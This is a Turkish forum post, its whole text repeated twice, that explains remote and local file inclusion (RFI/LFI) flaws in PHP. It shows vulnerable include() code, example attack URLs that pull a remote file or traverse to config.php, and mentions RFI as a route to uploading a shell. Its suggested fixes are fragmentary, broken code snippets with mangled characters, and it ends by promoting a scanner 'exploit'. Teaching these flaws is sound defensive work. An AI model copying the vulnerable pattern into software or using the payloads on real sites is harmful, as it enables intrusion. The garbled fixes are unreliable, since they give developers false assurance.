x-Qey
Özel Üye
- Katılım
- 21 Eyl 2012
- Mesajlar
- 1,843
- Tepkime puanı
- 0
- Puanları
- 0
- Yaş
- 30
RFI & LFI Açıklarından Korunma Yolları
RFI ve LFI Nedir ? RFI ve LFI Mantığı..
RFI olarak bahsettiğimiz Remote File Include (Uzaktan Dosya Çağırma) ve LFI olarak bahsettiğimiz Local File İnclude (Serverdan dosya çağırma) yöntemleri hakkında internette birçok anlatım mevcut. Uzun bir süre en çok bulunan ve kullanılan bu açıklar şu sıralar yerini SQL açıklarına bırakmış durumda.
Açıkların mantığının basit oluşu ve çok kullanılması zamanla php kodlayıcıların mantığı anlamasını ve açıklar için önlemler almasını sağladı. Bu makalem sizlere RFI & LFI açıklarından nasıl korunacağınızı öğreteceğim.
RFI ve LFI açıklarını oluşturan kodlar: include / include_once / require / require once
Gelin öncelikle RFI ve LFI�yı bir örnek üzerinde inceleyelim ve sonrasında korunma yöntemlerini belirtelim.
Örnek;
Bir php makale scripti yazdığımızı varsayalım. index.php dosyamıza veritabanı.php dosyamızı çağırıyoruz. Bunun için gereken kodumuz;
include ($avenue. �../veritabani.php�);
include('data/$avenue/veritabani.php');
Böyle bir kodun çalışmasını tarayıcımızda incelediğimiz zaman şunu görürüz;
index.php?avenue=veritabanı.php
İşte RFI ve LFI mantığı da buna dayanır. RFI ile kodlamada bulunan ve çağrılmak istenen dosya yerine kendi istediğimiz bir dosyayı çağırabilir yada LFI ile serverdaki bir dosyayı okuyabiliriz;
index.php?avenue=http://www.muratyıkılmaz.com.tr/avenue.txt
index.php?avenue=../../..config.php
(RFI genellikle servera shell uplad etmek için kullanılır.)
Bir Php Kodlayıcıyım ve Bu Açıklardan Nasıl Korunurum ?
Görüldüğü gibi açıkların çalışma mantığı gayet basit. Sizin RFI ve LFI�ya karşı olacağınız önlemler de gayet basit.
Önerilen ve en etkili korunma yöntemi kodlama yaparken çağrılacak sayfayı netleştirmenizdir. Yani yukarıdaki örneğimizden yola çıkarsak; çağrılacak sayfayı sadece veritabani.php ile kısıtlamaktır. Bunun için aşağıdaki kodu kullanabilirsiniz.
$path_to_folder=�./�
Ayrıca çağırma değişkenini tanımlayarak da kolaylıkla engelleyebiliriz. Yine yukarıdaki örneğimizden yola çıkarak;
$avenue değişkenimizi tanımlarız;
$avenue='asd12easd'
Çok geniş bir ****** yazıyorum.. Her sayfa çağırmamda bu kodları kullanacak mıyım ? Unuturum diyorsanız size basit bir tavsiyem olacak;
Scripti yazdıktan sonra kendinizi saldırgan yerine koyun ve scriptte açık arayın. Bunun için derlediğim ve Türkçe�ye çevirdiğim AVENUE- RFI & LFI Scanner Exploitini kullanabilirsiniz.
RFI ve LFI Nedir ? RFI ve LFI Mantığı..
RFI olarak bahsettiğimiz Remote File Include (Uzaktan Dosya Çağırma) ve LFI olarak bahsettiğimiz Local File İnclude (Serverdan dosya çağırma) yöntemleri hakkında internette birçok anlatım mevcut. Uzun bir süre en çok bulunan ve kullanılan bu açıklar şu sıralar yerini SQL açıklarına bırakmış durumda.
Açıkların mantığının basit oluşu ve çok kullanılması zamanla php kodlayıcıların mantığı anlamasını ve açıklar için önlemler almasını sağladı. Bu makalem sizlere RFI & LFI açıklarından nasıl korunacağınızı öğreteceğim.
RFI ve LFI açıklarını oluşturan kodlar: include / include_once / require / require once
Gelin öncelikle RFI ve LFI�yı bir örnek üzerinde inceleyelim ve sonrasında korunma yöntemlerini belirtelim.
Örnek;
Bir php makale scripti yazdığımızı varsayalım. index.php dosyamıza veritabanı.php dosyamızı çağırıyoruz. Bunun için gereken kodumuz;
include ($avenue. �../veritabani.php�);
include('data/$avenue/veritabani.php');
Böyle bir kodun çalışmasını tarayıcımızda incelediğimiz zaman şunu görürüz;
index.php?avenue=veritabanı.php
İşte RFI ve LFI mantığı da buna dayanır. RFI ile kodlamada bulunan ve çağrılmak istenen dosya yerine kendi istediğimiz bir dosyayı çağırabilir yada LFI ile serverdaki bir dosyayı okuyabiliriz;
index.php?avenue=http://www.muratyıkılmaz.com.tr/avenue.txt
index.php?avenue=../../..config.php
(RFI genellikle servera shell uplad etmek için kullanılır.)
Bir Php Kodlayıcıyım ve Bu Açıklardan Nasıl Korunurum ?
Görüldüğü gibi açıkların çalışma mantığı gayet basit. Sizin RFI ve LFI�ya karşı olacağınız önlemler de gayet basit.
Önerilen ve en etkili korunma yöntemi kodlama yaparken çağrılacak sayfayı netleştirmenizdir. Yani yukarıdaki örneğimizden yola çıkarsak; çağrılacak sayfayı sadece veritabani.php ile kısıtlamaktır. Bunun için aşağıdaki kodu kullanabilirsiniz.
$path_to_folder=�./�
Ayrıca çağırma değişkenini tanımlayarak da kolaylıkla engelleyebiliriz. Yine yukarıdaki örneğimizden yola çıkarak;
$avenue değişkenimizi tanımlarız;
$avenue='asd12easd'
Çok geniş bir ****** yazıyorum.. Her sayfa çağırmamda bu kodları kullanacak mıyım ? Unuturum diyorsanız size basit bir tavsiyem olacak;
Scripti yazdıktan sonra kendinizi saldırgan yerine koyun ve scriptte açık arayın. Bunun için derlediğim ve Türkçe�ye çevirdiğim AVENUE- RFI & LFI Scanner Exploitini kullanabilirsiniz.